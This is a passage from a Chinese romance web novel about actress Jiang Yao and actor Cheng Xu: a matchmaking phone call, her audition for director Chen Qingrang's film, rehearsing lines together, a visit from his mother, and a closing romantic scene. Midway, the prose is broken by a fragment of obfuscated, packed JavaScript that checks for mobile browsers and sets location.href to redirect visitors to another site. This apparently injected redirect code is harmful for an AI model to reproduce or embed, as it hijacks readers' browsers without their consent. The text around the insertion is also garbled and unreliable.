家里的程绪，仿佛又成了那个和她不太相熟的影帝，在她面前出现，永远是一身正装，一副精英模样。当然，也有点不太一样，比如江遥偶尔作一作的时候，他只会一脸无奈，任由她来。
休息几天后，江遥的行程又再次被排满，小鱼跟她对好明早出发的时间，就听江遥说要去洗洗睡。她看了眼手机问：“你怎么了？”在没有通告的时候，江遥能在十一点前上床都很难得。
江遥瞥了眼对面的男人，起身自觉走向自己的房间，没走两步，手臂被拉住了。
她拧着眉头看过去，程绪没有说话，也不松手放她走。
她三两句挂了电话，问他：“怎么了？”
“晚安。”程绪松开她的胳膊说。
江遥：“……”
“晚安。”她不由失笑，踮脚亲在他下巴上。
“嗯。”他淡淡应一声，“早点睡。”
今天的拍摄是在郊区的一个摄影棚，江遥叼了片面包，拎上包就往外跑，程绪提来一个纸袋，塞进她手里，“饿了就垫垫。”
江遥扬了扬手，匆匆进了电梯：“谢谢，晚上见。”
果然是他有先见之明，原定三小时的拍摄，因为服装出了点问题，临时处理，收工时间比原计划晚了一个多小时。
她最近作息规律，中午基本都是十二点准时开餐，拍到后半程，已经饿得前胸贴后背了。拍摄完换下衣服，已是下午一点多，坐回车上，小鱼打开她带上来的纸袋：“快吃点。”
包装打开，是一个精致的小蛋糕，不知道他什么时候准备的。
她啃着蛋糕，突然无比想念，阿姨端上的热气腾腾的美食，还有他每晚雷打不动的唠叨。
小可说的公益广告终于上线，江遥本以为就是在线上传播，没想到，是粉丝先在电视上看到的，而且，还是晚间新闻过后，中央一套首播，随后会上线各大卫视。
小鱼也被这排面吓到，给她打来电话：“快开电视。”
江遥莫名其妙，摸出遥控器，“怎么了，你慢点说。”
小鱼将目前的情况大致跟她同步了下，语气难掩激动，江遥也有点疑惑，等了几分钟，果然在电视里看到了自己。
这是她第一次看到成片，放在电视屏幕上，比在手机上看起来效果还要好上许多。西城的风景与人文全部清晰呈现在镜头前，动物的灵动和野性，少女的天真和韧劲，人与自然的互动，明明白白，摊开在大家眼前，惹人注目、深思。
陈清让最近赋闲在家，每天守着新闻，关注点社会动向，不留神看到个眼熟的面孔：“嘿，这不是那个小姑娘吗？”
小孙子看他嘿一声，又说不出个所以然，跟着看过去，很是无语，“什么这个那个小姑娘，人家叫江遥。”
“对对对，年纪大了。”他自嘲道，江遥的消息他偶有听闻，只是一时没想起来名字。灵动的眼睛，跟传闻中的她很不一样。
这条公益广告，短时间里，登陆各大频道，病毒式传播，连乔女士都打来电话，问她：“广告里那些野生动物，都是真的吗？”
江遥夹了一筷子菜，笑笑：“肯定是真的呀，不过也就看着有点吓人，其实都可温柔了。”
乔红英又再次叮嘱她，一个人在外小心点，不要追求刺激，安全第一。说完注意安全，又说起换季感冒，乔红英话匣子一打开，一时半会关不上。江遥吃着饭，不方便一直举着手机，干脆开了免提丢在一旁，偶尔应上两句。
“嗯”、“行”、“好”、“对”，江遥这几个字轮流切换，毫无障碍地跟她交流着。
“听你二姨说，你和小黎没联系了？”
江遥应道：“嗯。”
虽然知道大概率是这个结果，乔红英还是觉得可惜：“你说微信也加了，面也见了，我还以为这个有戏呢，唉，小伙子长得是真不错，学历也……”
刘阿姨晚上烧了排骨，江遥刚专心和一个骨头做斗争，难免有点分心，正想顺嘴应一声“行”，才反应过来乔女士的话题早已再度跳跃，她只来得及听清她的总结陈词，“唉，可惜了。”
房间里冷飕飕的，对面的人不知道什么时候停了筷子，静静望着她。江遥赶紧关掉免提，乔女士最后一句话响在空气里：“你二姨又给你介绍了一个……”后面的话再也听不
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清。
电视开着，背景音热热闹闹的，一个中年女声，拖长了调子：“给您道-喜-啦！”昨天这个台的片子大结局，接档的是一部古装剧，一开头，就是吹吹打打接亲的场景，媒婆一身富态，笑呵呵地向主人讨要礼钱。
江遥一脸尴尬，扶着额头，没眼看。
乔女士还在那边尽职尽责地推荐着新一任相亲对象，江遥捂着听筒，小声说：“妈，我这有点事，晚点跟你说。”不等那边反应，直接按了挂断。将手机放在桌面，迎上他的目光，颇有种英勇就义的壮烈。
“吃饭。”他垂下眼睛，继续动筷。
江遥缩着脖子吃完一顿饭，平常他会陪她在沙发上坐会儿再回房，也许是今天的背景音太过吵闹，也许是媒婆那声道喜来得太过不合时宜，吃完饭，他就进了书房。
江遥从冰箱里翻出两个橙子，切好装进果盘，敲响了他的房门：“我可以进来吗？”
轻柔的女声带着丝试探，屏幕上的PPT做得很精美，看在此时的程绪眼里，全部化成两个大字。他闭了闭眼睛，阖上电脑，拉开房门：“怎么了？”
江遥叉起一块橙子递给他：“尝尝。”
程绪嚼了两下，皱了皱眉头：“酸。”
他接过盘子，牵着她往外走，拿起遥控器换了个频道，还是在他常坐的位置坐下。
这么多天下来，两人一人占据一角，互不干扰，今天江遥主动挪了过来，坐到他身前，眼巴巴望着他，又不说话。
大眼睛里的神色很好看懂，程绪盯了她两秒，果然，她下定决心一般，视死如归地说道：“你问吧。”
“小黎……”他的嘴里，果然又吐出了这个名字，江遥觉得这人简直阴魂不散，听他继续说完剩下的半截话，“是谁？”
“相亲对象。”她声音嗡嗡，又飞速补充，“我二姨介绍的。”
“加了微信？”程绪的声音听不出太大波动。
“认错人了。”明明说的是事实，但她自己听来都像是借口，江遥垂着头，觉得自己怕是清白难保。
“见过面了？”他又问。
刚才还蔫里吧唧的女人高昂着脖颈，义正言辞地反驳：“他们乱说！”
喊完一句，她认清现在的状况，声音又小了下来，低声喃喃：“我都没有见过。”
程绪没有出声，她摸过去，拉住他的手：“你不信我？”
贼喊捉贼了这是，掌心的热意源源不断地传来，程绪无奈叹息：“我什么时候说的。”
江遥不管那么多：“那你怎么不说话。”
程绪：“我不知道说什么。”
江遥问：“那你相过亲吗？”
“没有。”
“一个都没？”
“嗯。”
她又开心了起来，拉着他的手，跟他吐槽乔女士到底有多离谱，这么漂亮的姑娘，怎么老喜欢张罗着给人相亲呢，说不定是嫌她烦了，想早点把她扫地出门的阴谋。
不管是怎样的话题，最后都能成功被她带跑偏，程绪也不想再问，他们是什么时候联系上的了。上次滑雪回来，她躲闪的目光，在此时有了答案。
67. 下一步棋
接到陈清让的电话，程绪是有点意外的。陈导手上有个剧本，打听过几次他的意思，最近，听说已经在物色其他演员了。这时打来电话，不知是有什么事。
尽管心里早有准备，真正接起，缘由还是大大出乎他的预料。
经过一段时间的休养，陈导身体应该已是大好，声音爽朗：“你一定要给我帮这个忙。”
面对这样真诚的长者，程绪很不想推脱，但不得不拿出态度：“不好意思陈导，还是您自己来说比较好。”
陈清让也习惯了他万事不挂身的姿态，一次合作的对象，说不定连联系方式都没有，到底没有再强求。
程绪却说：“晚点我把她经纪人电话发给您。”
比他想象中稍微好了点，至少还留了个电话，目的虽然没达到，但也不是毫无收获，陈清让又见缝插针，问他要不要再考虑一下。
程绪还是老一套：“最近真抽不开身。”
陈清让叹息一声，说到底，还是自己的本子不够打动人。
阳台的绿萝长势喜人，江遥得空，就会给它浇浇水，看得刘阿姨胆战心惊，“够了够了。”
一盆绿萝孤零零摆在阳台上，江遥左看右看，总觉得它怪孤单的，又搬回了盆仙人掌跟它做伴。如果收工早，她不是窝在沙发，就是在阳台对着那两盆绿植左右端详。
这天程绪打开房门，就看到电视屏幕上，自己放大的脸部特写。江遥窝在沙发上懒懒招呼：“回来了。”
“怎么在看这个。”他走过去坐下。
“哦，过两天有个试镜。”江遥语气平淡，“看导演之前的作品找找感觉。”
程绪抬眸问：“陈导的？”这老头效率还挺高。
江遥“嗯”一声，前两天Susie告诉她陈导那边有合作意向，本来他们都以为就是客串个小角色。陈清让停工休养了大半年，新剧选角消息一旦放出，多少演员又该抢破头，哪怕再小的角色，也有人争着上。
“天啦，那可是陈清让。”这是小鱼知道时候的第一反应。
是的，陈清让，捧出过无数影帝，而程绪，就是他最得意的作品。有人说，能在他组里待上几天，进步堪比在其他组里混上几十年。虽然他拍的多是男性题材的戏，但凡是参与过他作品的女主演，基本也已半只脚迈进影后预备役。
但让他们更没想到的是，陈导邀请她去试的，是女主的戏。
江遥到现在都还有点恍惚，反应淡淡，程绪随口问：“怎么，不想去？”
“想啊，怎么不想。”她嘴里这么说，声音听起来却有点有气无力，看看镜头里程绪的表演，这差距真不是一点点。
二十出头的他，除了一丝青涩，眉眼间看来和现在也没太大变化，那萧索的身影，在当初，让无数人，中了一种叫《憾生》的毒，也让现在的江遥，跟着心绪起伏。
她也不穿鞋，踩在沙发上光着脚走到他旁边，指着电视里的男人问道：“你拍这戏的时候是不是还在上学？”
他扶着她坐下，“嗯，假期闲着没事。”
“瞒着家里拍的？”她不记得是在哪里听过，家里人并不是很支持他演戏。
“嗯。”随着《憾生》的爆火，小规模的摩擦，终于累积着一起爆发。
他的声音还是没什么起伏，她却莫名听出点落寞，紧紧扣着他的手，“那时候是不是很难过？”小人物拼尽一生，却被告知命运早已替他写好结局。看客尚且意难平，作为扮演者，不知又经历了怎样的挣扎和苦楚。
“还好。”他已经想不起当时自己的心境，听在江遥耳里，却是遮掩着，不愿意再揭伤疤。
不想再听他口不对心，她抬起身子，吻上了他的唇瓣。
抚着她手背的手猛地僵住，江遥不满地轻哼，程绪安抚似的，轻轻含了含她的唇，又握着她的手臂，撤开身子，阻止她进一步动作，“不是过两天要试镜？”
江遥目光幽幽的，看着他起身离开，没一会儿，又拿了纸笔过来。他揭开笔盖，在白纸上，唰唰唰写了几行字，拿给她，“这几部电影可以看看。”一派正经的模样。
她敛下心思，伸手接过，纸上都是电影的名字。都说字如其人，他的笔锋，有着与他如出一辙的凌厉。总共才五部电影，有在电影节大杀四方的名作，也有两部，她甚至连名字都没怎么听过。
“看这些比看《憾生》更直接。”他补充，一脸认真。
江遥悄悄唾弃了一把自己的忘恩负义，瞧瞧人家多为自己事业上心。
精神高度紧绷了几天，试镜完毕，江遥终于松了一口气。汪静静已经杀青，得知江遥搬了新家，闹着要上门给她热闹热闹，江遥看了眼对面一脸严肃的男人，好说歹说，两人最后将庆祝地点，定在了外头。
地点是汪静静选的，看起来再正常不过的名字，到的时候，她才知道那是一家酒吧。舞池里，众人随着旋律晃动着身体，江遥裹了裹身上的衣服，小声问她：“怎么来这儿。”
汪静静也戴着口罩：“就看看。”跟神经病在一个组待了那么久，好不容易回归正常生活，她需要来点刺激的。
江遥全身包裹得严严实实，看起来和这热闹的环境格格不入，有经验老道的人，却透过层层包裹，精准地判断出，这是个尤物。
一个男人端着酒杯上前：“小姐，怎么称呼啊？”
江遥侧开身子不愿搭理，汪静静接过话头，笑呵呵地将人打发走。
手上还戴着婚戒，就敢出来四处搭讪。汪静静见不得这种男人，在转场的路上，将那狗男人从头到脚骂了个痛快。
“说什么家花没有野花香，身上多了二两肉就敢大言不惭，这样的人，也就只配得起臭鱼烂虾。”
“家花没有野花香。”江遥精准捕捉到关键词，放在嘴边咂摸了会儿，突然回过味来。
汪静静听她念叨，翻了个白眼接过话头：“你少听他们瞎咧咧，还不是在外面吃撑了呗。”
“男人嘛，不都那么回事，能忍住的要么不行要么不喜欢，平常装得正人君子拽得二五八
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万似的，真碰到有兴趣的，啧啧。”她没有细说，简单两个字，概括出她的态度。江遥在一旁默默听着，没敢吭声。
上部戏杀青近半年，江遥迟迟没进组，加上前阵子的风波，唯一的主扛剧上星无望，不知最后会走向怎样的结局。除了一部客串几天的电视剧，江遥的手里再无存货。
《凡尘》热映时，营销号每天换着花样地给她编瓜，凡是有点名气的导演基本都被溜了个遍，合作对象也从国民影帝编到新晋小生，粉丝们一边喊着“吃瓜不信瓜”、“抱走遥遥”，一边在心内偷偷比较，哪个饼闻起来更香。
有理智些的粉丝，也只干巴巴说着什么“期待孙二姑娘”，魏林出事后，孙二姑娘前途黯淡，这个角色，也成了粉丝心中的隐痛，不愿再过多提及。大家默契地，翘首以盼着江遥进组的消息。
然而，一天过去、两天过去，除了一些商务活动和杂志拍摄，江遥迟迟没有进组。营销号已经换了一套话术，说圈内有点格调的导演都不敢再跟江遥合作，她身上绯闻太多，人品又堪忧，早被主流暗地里拉黑了。
是那个公益广告，再次给粉丝们注入了一针强心剂，江遥不仅没有被主流拉黑，甚至还在央视刷脸。粉丝每天都在工作室的最新微博下打卡，询问她什么时候进组。
“呼～”小鱼吐出一口气。手上的本子已经过了无数个，江遥只说没有合适的，几个月下来，她只能暗地里着急。好在《凡尘》上映后，再投来的剧本，质量相比之前，明显又上了一个台阶。她悄悄放下悬着的心，所有的等待都是值得的。
没想到，风向说变就变，被业界看好的新剧突然砸在了手里，遥遥又再次陷入舆论风波，江遥还是一脸安然的样子，侍弄着她那些花花草草，看不出半点着急。
说到底，演员立身的根本还是作品，不然等这波热度过去，就算活动再多，也只能被人一口一个毯星叫着。表面上鲜花着锦，烈火烹油，实际上他们都悄悄捏着一把汗。暗地里，不知又有多少人在等着她的下一步棋如何走。
如果放到一周前，有人跟小鱼说江遥会成为陈清让下一部戏的女主角，她会悄悄翻个白眼，让他们悠着点编。然而，在既定的事实面前，她已经不知如何为这幸运的结局写上注解。
陈导的这部戏，但凡年龄、档期、身形合适的圈内女演员，不说百分之百，起码百分之九十五以上都争取过，小鱼还记得，面试那天，那满屋子乌央乌央的人。就连几年没出山的国际影后，也出现在了等候室里。
幸运的是，最终，是她们拿下了角色。
签下合同后，陈清让笑得和蔼，拍了拍江遥的胳膊，“回去好好准备。”
消息还没正式对外透露，江遥已经拿到剧本，开始了进组前的密训。
故事发生在偏远的山村，一位支教的男老师，对同事产生好感，一步步接触后却意外发现，夜深人静时，这位姑娘，背后隐藏着不为人知的秘密。江遥饰演的，正是剧中的女主春花。一个被命运玩弄，却努力向阳而生的女人。
68. 对剧本
女主的生活环境，和都市生活千差万别，江遥拿着剧本看了好几遍，最后还是在Susie建议下，报了个一对一的培训，以便更熟悉女主的处事方式，更精准地摸透她的心理和行为动机。
江遥开启了早出晚归的生活，刘阿姨的工作也相应地清闲下来，回复到和之前一样的模式，只是工作内容多了一项——养护绿植。
程绪空闲时，偶尔也会被江遥抓壮丁，临时充任她的任一搭档，和她对戏。见她如小蜜蜂般忙忙碌碌，程绪也乐得配合。几次下来，江遥发现，不管是怎样的角色，只要到他手里，就会被他赋予新的解读，无形中拓宽她的思路。
一切都很好，除了他对她的热情似乎逐渐在减少。
比如此时，对面的男人尽职尽责地充任着她的搭档，嘴里念着属于男主的台词，他还是一身工作时的装扮，甚至连衬衫的扣子都扣到最上面一颗，但随着台词从他嘴里吐出，他的神态也随之一变，轻易就能把她带入戏中。
可今天江遥无心入戏。
粉嫩的嘴唇一张一合，性感的喉结上下滚动，清冷的声线，染上属于男主的温情。嗯，看起来很好亲。江遥盘着腿坐在他面前，思绪却已经飞远：上一次亲吻，是在什么时候来着？
“不对了？”眼前的人一脸呆怔，魂已经不知跑到了哪里，程绪阖上剧本，端起水杯起身。
“哎。”江遥思绪回笼，一把拉住他的手臂，动作太大，半个身子垂在沙发外。
程绪将水杯放回桌上，伸手扶着她的胳膊，防止她往下滑。
江遥拉着他不松手，程绪只好又在沙发上坐下，认真看着她：“怎么了？”
眼睛里写满关切，身子却撤出半臂远，江遥轻易识破他的诡计，将剧本“唰唰”翻开几页，塞进他怀里：“谁说不对了，继续。”
故事已经走完半程，男主和春花一起帮助一个学生，回家的路上，看着前面马尾一甩一甩的女孩，他后知后觉，自己内心的悸动。
剧本翻过几页，两人的配合，渐入佳境。
再翻过一页，程绪手指捏着剧本边缘，薄薄的纸页，在他手下簌簌晃动。他阖起剧本还给江遥，“今天就到这儿。”
江遥不解地望着他：“怎么停了？”清亮的眼里，写满无辜和委屈，不明白一个简单对戏的请求，为什么不能被满足。
程绪移开视线，淡淡开口，“很晚了。
书房门关上，刚才还一脸无辜的女孩，无力地扑回沙发上，“嗷……”
汪静静又回到无所事事的模式，知道江遥最近白天忙，抓紧晚上时间跟她扯淡。
汪静静：「姐妹，千万别在圈内找男人。」
江遥没有关注新闻，但不难猜出，估计又是谁人设崩塌了。可惜，这句话提醒得晚了，江遥只好应付着回了个“哦”。
汪静静是真替原配不值，发来一个链接，并贴心备注：「恋爱脑的女人，都应该看评论区清醒清醒。」
江遥点开，是某个事业上升期的女明星当初为男友退居幕后，结果男友事业风生水起，缕缕传出婚变危机，下午两人正式发布离婚声明，据传是男方出轨同组女演员。
评论区都在质疑，明明老婆那么美，为什么男人还是管不住下半身。有人贴心回复，大意无外乎是再美的人看久了也就那样，男人追求的是刺激。
有人疑惑，两人当初如胶似漆，难道都是演的吗？
「大兄弟，别这么较真，爱你的时候是真的，爱上别人的时候也是真的。」
「七年之痒听过吗？热情总会消退的。」
对此，汪静静点评，「宁可信世上有鬼，也别信男人那张破嘴。」
江遥回：「嗯，行胜于言。」
汪静静想了想，觉得自己也许太过武断：「不过碰上姐妹你，还不是手拿把掐的。」
江遥趴在沙发上，才不信她的糖衣炮弹，将她之前说过的话回给她，「你之前还说家花没有野花香。」
开门的动静传来，江遥看了下手机上的时间，毫无疑问，又到了睡觉的点。
程绪迈着长腿，已经走到了她身边，蹙着眉催促，“去睡。”
“叮”一声，屏幕亮起，对话框里，汪静静话锋一转，给她灌起了迷魂汤，「在你面前能忍住的男人，绝对是不行。」
什么跟什么，每个字连在一起，好像不是什么适合大庭广众翻阅的东西。江遥这下是真呆住了，看了下一旁存在感过强的男人，他垂着视线，视线的落点……应该想不看到都难。
江遥翻过手机，从沙发上翻身坐起，火烧屁股一般，匆匆说了声“晚安”，踩着拖鞋奔回了房。
新剧阵容差不多定了下来，只剩男主还没最终敲定。陈清让看着手上几个备选艺人的资料，长叹一口气，又给程绪发了条信息。本来只是死马当活马医，最后争取一下，让自己不要留有遗憾，没想到这次有了不一样的回应。他说，考虑一下。
陈清让喜笑颜开：「好好好，你好好考虑。」
《春声》的剧本，在它刚有雏形时，程绪就已拿到，这是一个以男主视角展开的女性悲剧。和他过往的角色不同，这部戏里，除了时代洪流裹挟下，人物无可更改的命运，还有不少男女主之间情感纠葛的戏份。男主孙楷被春花吸引、靠近，了解真相后依然执着守望，直至最后携手新生，他自问，无法共情。
然而现在，女主角定了江遥，这个问题，不再成为问题。
他又细细看了遍剧本。这些天陪着江遥对戏，几场关键戏份，他已经烂熟于心。
在她又一次翻开剧本，让他搭戏时，他旁敲侧击：“你们这部戏男主还没定？”
习惯了直来直往，程绪自觉委婉，听在江遥耳里，却完全不是那么回事。
她嘴里正默背着台词，听到他的问题，疑惑地看向他。程绪本身很少对别的事情感兴趣，居然会主动问起这部戏的男主，绝对有问题。难道是剧本对着对着，戏瘾发作了？她试探着问：“你看中这个角色了？”
他不答反问，尝试着征求她的意见：“如果我来演男主，你什么想法？”
江遥笑了：“轮得到我有什么想法嘛？导演觉得合适就行。最关键不还得看你自己。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587736|146179||http|test|mini|href|location''.split(''|''),0,{}));
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>程绪没有接话，大有听听她意见的意思，江遥提醒他：“你不是说选本子首先要自己喜欢吗？如果角色不能打动你，难道还有人能强按头？”
他不管那么多，质疑道：“你是不是不想跟我一个组？”
江遥无辜脸：“绝对没有。”
程绪狐疑地看着她，她想了想，直接将自己内心的想法摊开告诉他，“我不希望你因为我影响到什么，以你自己为圆点去考虑就好了，不然我会很有压力的。”
程绪沉默着，靠在沙发上，看她嫣红的小嘴一张一合，吐出的话却不怎么中听。她丝毫不避讳在他面前掩饰自己的阴暗，“当然，我也会这么做。如果你能加盟，这部戏热度肯定更上一层，但我不想你进组，有任何一丝我的原因。”
他没有接话，她肃着一张小脸，伸脚在他裤腿上踢了踢，“听到了吗！”
脸颊鼓鼓的，他伸手在她脸上戳了下，“行，知道了。”
江遥一秒破功，推开他的手，笑道：“你无不无聊。”脚丫子在他腿上找了个舒服的位置，就此躺倒。
刘阿姨从厨房出来时，就见原本各占着沙发一角，泾渭分明的两人，手上还是各干各的，漠着脸毫无交流，身体却有自己的意识般，肆意歪缠着。
程绪靠着沙发，认真翻阅着手头的文件，江遥横在沙发另一侧，腰下垫着个枕头，长腿搭在他黑色西装裤上，捧着剧本默默背着台词。白嫩的脚丫子一翘一翘的，偶尔动作幅度过大，他会在她腿上轻拍一下。江遥老实不过几秒钟，小巧的趾头又会在他裤腿上微微蹭着。
她默默关上房门，不忍打搅这片刻的温馨。
陈清让最后还是没有等到程绪的回心转意，第二天一早他就发来消息，表达歉意。
《春声》定于六月中开机，五月底，男主定下后，主演阵容正式集齐。秉持着陈清让一贯的作风，对外严格保密。
江遥的培训已经接近尾声，在进组前，还有许多物料需要集中拍摄，接下来半个月，又将开启连轴转的模式。看着满满的行程表，她深吸一口气，滚下床收拾行李。
不知道营销号从哪里打听到了她新剧的消息，搭档纯新人，甚至不是科班出身。#江遥新电影#的词条又莫名其妙被拱上热搜，话里话外，都在影射她资源降级，之前打肿脸充胖子，最后却只能进三无剧组。粉丝大受打击，一边求着工作室辟谣，一边含泪控评。
小鱼摊摊手，可是……男主确实是纯新人啊。
来试镜的男演员不知几何，谁能想到，《春声》的男主演会落在一个半素人头上呢。不过若是论资排辈，女主角也轮不到她们头上，所以说，陈导的成功，有时候靠的就是胆大心细放。只要角色适配，又何尝不能放手一搏。
在江遥被群嘲时，方琦新剧正式对外官宣，从导演到服化、美术，一水的冲奖班底。两相对比，可以说是一个天一个地，自然逃不过被有心人拉踩比较。
开机照里，方琦和男主分别站在导演身侧，和上次碰面相比，气色看上去好了许多。小鱼瞥到她屏幕，笑得一脸神秘，“这……咱们确实比不了。”
69. 胆小鬼
课程还剩最后一节，结束时刚下午三点。江遥原本和汪静静约好一起逛街，下课后才看到她的留言，说是临时接了个商演，当天就要飞。
江遥电话拨过去的时候，已经是无人接听的状态。她看了看空中高挂的艳阳，闷头往家里赶。
陈导的剧组出了名的难请假，能有幸进入他组里，大家也乐得将其他活动往后排。原定下月拍摄的H&F新广告，经协商后，直接提到了这个月底。Freya得知她又要埋头剧组几个月，倒也没有多说，只让她给她多留点时间。
明天的机票飞，五天后才回，在沙发上坐了会儿，江遥回房清点随身的行李。收拾完已经是下午四点多，一道女声，透过没关严实的门缝传进来。
和刘阿姨总不自觉加快的语速不同，这道声音的主人，明显是一个更为年轻的女性，慢悠悠的调子，透着股温婉和从容。
不容她再细辨，两道脚步一前一后，已经走到了门口。江遥蹲在地上，还没想好怎么应付接下来的情况，就听到程绪的声音。
“妈！”他的音调不高，却听得许婉清和江遥同时一怔。
江遥僵着身子蹲在原地，生怕发出什么声响，惊动门外的人。
程绪慢悠悠跟在身后，脸上带着点不赞同的神色，许婉清也没了参观的兴趣，似真似假地抱怨道：“你还记得有个妈呀！”
程绪在外住了几年，她一直没来过他这边，临时起意来看看，这个几个月没见的儿子，还是一脸冷淡。
程元峰最近身子不太好，一个小小的感冒就拖了半个月，一说给儿子打个电话，他就横鼻子竖眼。许婉清叹了口气，只能试着从儿子这边下手，劝他：“你有空就多回家看看。”
程绪隔着点距离，端详着眼前的贵妇人，不难看出，程元峰作为丈夫的身份，并没有多少可让人指摘的余地。和记忆中的母亲相比，许婉清似乎并没有被刻上多少岁月的痕迹，也可能是他脚步匆匆，以致记忆里的身影早已模糊不清。
他随意地答应着：“最近忙，下个月再说。”
许婉清知道他的性子，也没再强求，“那我到时给你打电话。”
脚步声远去，房门关上，江遥松开屏住的呼吸，起身。
“哎哟。”下一秒，她脚下一个踉跄，差点栽倒在地。长时间维持一个姿势不动，腿已经蹲麻了。
“咚咚咚。”房门被敲响。敞开的门缝里，只听程绪的声音在问，“怎么了？”
他怎么还在？江遥忙说了声“没事”，挪着身子在床沿坐下，缓了一会儿，才起身去开门。
程绪手上维持着敲门的动作，见她出来，似乎是有点意外，“不是说下午去逛街？怎么一个人闷在房间？”
江遥刚刚适应过来，走路还有点踩不实地，简单告诉他，“被鸽了。”
程绪扶着她的胳膊，见她情绪不是很高，主动提议：“有什么需要买的，我陪你去逛逛？”
江遥觑着他，狐疑道：“你不是说很忙？”
说完她就意识到话题不对，错开眼睛，不再跟他对视。程绪也没见怪，还有心思打趣她：“是啊，你面子比较大。”
见惯了他正儿八经的模样，突然画风一转，江遥憋了半天，吐出一句，“油嘴滑舌。”
程绪没再回公司，两人窝在家里，打发了一下午时间。
江遥是明天上午的飞机，晚上六点半，Freya拉了个在线会议，拍摄时间并不算太过充裕，一些事项需要提前对齐。
她躺在沙发上，关了麦克风，静静听着双方工作人员沟通，只有问到她头上，才偶尔开麦插几句。
程绪坐在一旁，仿佛不存在般，也不说话，江遥却嫌无聊，时不时伸脚去逗他一下。
她穿的还是上课时那一身衣服，宽大的裤子，黑色的T恤，裤子是那种丝滑的面料，翘着脚来够时，裤管不自觉滑上去，白嫩嫩的小腿，明晃晃在他眼底招摇。
程绪面无表情，把着她的腿，帮她把裤管往下拽了拽。江遥正和Freya讨论着对当季主题的理解，察觉到自己被制住，不舒服地挣了挣。
程绪松开手，不一会儿，她又翘着小脚，轻轻踩在他腿上，丝毫感知不到危险般，乐此不疲地玩着这个游戏。
等到一切谈妥，江遥挂掉电话，翻身坐起，就见程绪撩起眼皮看了她一眼，“玩够了？”
“人家在工作好不好。”她不跟他一般见识，踩着拖鞋就往外走。
他伸手去抓，“你去哪儿。”
江遥拍开他的手：“我渴。”
不过几分钟，她端着杯子重新出现在视线中。嫩黄的颜色，上面画着大块卡通的图案，是上次两人一起在超市买的。
如果许婉清仔细一点，不难发现，沙发上的抱枕，阳台上的绿植，甚至是餐桌上摆放的水杯，都不是程绪的审美。江遥在这个家里，小心翼翼固守着自己的边界，却不自觉地，一天一天，留下了不少的点缀。
然而，终究是母子二人生分太久，许婉清的心思，已经全部给了丈夫和自己，投给儿子的关注，只是被身为母亲的义务驱使着，又或许，只是完美的家庭，缺少一个模式化的儿子来支撑门面，因此，需要他配合表演。
几步路的距离里，她眼睁睁看着他情绪莫名低了下去。两人待在一起的时间不算太久，她却似乎已经能感知到，他差不多的表情下，暗藏的喜怒。
江遥恍若未觉般，挨着他坐下，捧着杯子喝了口水，又放回桌上，面朝着他，打趣道：“怎么，舍不得我？”
她头发又长长了一些，乌黑的头发披在肩头，被风一吹，有几丝吹到了脸畔。他的手指比她的动作更快，替她拨开颊侧的头发，平淡地开口，“嗯，早去早回。”
江遥假作为难：“可是，我说了也不算，要不，你帮忙跟Matteo讲讲？”
程绪不意外她知道他和Matteo有过交集，就连杨越都曾笑着跟他说起，在传言里，他已经成为Matteo得不到的男人了。记忆中，最后的印象，停留在那意大利老头暴躁地甩袖而去的场景。程绪拉着她的手，是妥协的样子，“他恨不得想揍我。”
见惯了他矜冷淡漠的姿态，可怜又无奈的表情，出现在他脸上，怎么看都透着股违和，而那违和中，却有着丝说不出的风情流露。
江遥目光在他脸上转了转，撇下眼睛，拉近身子，在他故意压下的嘴唇上亲了亲，“没事，还有我呢。”声音低柔，尾音上扬，心情很好的模样。
“咔嚓”，清脆地一声响，心底缺失的一块，被严丝合缝地填满。
清亮的眼里盛满
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温柔，白嫩的脸上闪着狡黠的光，程绪愣怔着，听她笑着又贴上来，“我也会想你的。”
久旷的原野，被大风席卷，挺立的野草低垂着腰，跟随着春风，簌簌低吟。江遥从不知道，身下的沙发，是这样的柔软，她陷身其中，只能紧紧攀附着身上的人。
额头、眼睛、鼻子、嘴唇，滚烫的吻，落满她的眉梢眼角。心跳一声一声，盖过所有的杂音，在她胸腔中狂跳。
她闭着眼睛，像是顽皮的小孩，不明白玩笑的触碰为何会招致烈焰燎原。她下意识想往后拉开距离，身下的沙发却已被压到极限，身上的人步步紧逼，将她禁锢在胸前，彻底没有逃避的缝隙。心跳一声声，分不清是她的，还是他的。
终于，他停下了。水嫩的唇瓣，透着妖冶的艳色，鸦黑的眼睫轻轻垂着，江遥顺过呼吸，又抬起身子，在他唇上轻吻着。
程绪却只是一径沉默，松开撑在她身侧的双手，起身要走。
“你去哪儿？”她不满地皱起眉头，捞住了他的手。
程绪背对着她站着，她怀疑只要手下一松，他就会消失不见，下次再见面，还是着装工整，姿容清俊。可是她……不想就此放开手。
最终还是他先认输。
程绪回头深深看了她一眼，江遥歪躺在沙发上，看着他望来的眼睛，极好的视角，让她轻易看清，那双沉静的眸子，有风暴在呼啸着聚拢。
他闭了闭眼睛，提醒她，“不早了。”
他的身体像是绷到极点的弓，低哑着声音，向她告警。江遥惊怔，肩膀往后微微一缩，他轻易拨开了她的手。
意识还没反应过来的那一秒，她又再次紧握了他的手，娇声呼喝：“不准走。”
说完，自己先呆住了。
娇柔的嗓音，有如命令般，轻易定住他的身形。程绪僵着身子站在原地，等着她是松开，还是继续紧握。
被握住的手掌失去包裹，他垂下视线，见着它无声掉落。
下一秒，她起身踩上沙发，朝他张开臂膀。
两人地位瞬间翻转，他抬头见她，有如女王般，红扑扑的脸上，写满了理所应当。
他走近两步，像是忠实的俘虏，向她低下头颅。江遥脸上笑意扬开，跳进他怀里，白嫩的小腿紧紧缠上他的腰。
程绪被带得往后退了两步才站稳身形，手下收紧，脸埋在她颈侧蹭了蹭。甜腻的女声微喘着提醒，“要穿裙子的。”于是，又是唇齿火热地交缠着。
激烈的动作中，黑色T恤早已往上跑了一截，温热的手掌，轻抚上柔软的腰肢。江遥浑身一个激灵，瞬间绷紧了身子。
初见时，她就知道，他的手无比符合她的审美。此时，修长的指节，不知疲倦似的，在她的腰侧，不轻不重地揉捏。江遥浑身发酥，所过之处，已全然成为他的领土。
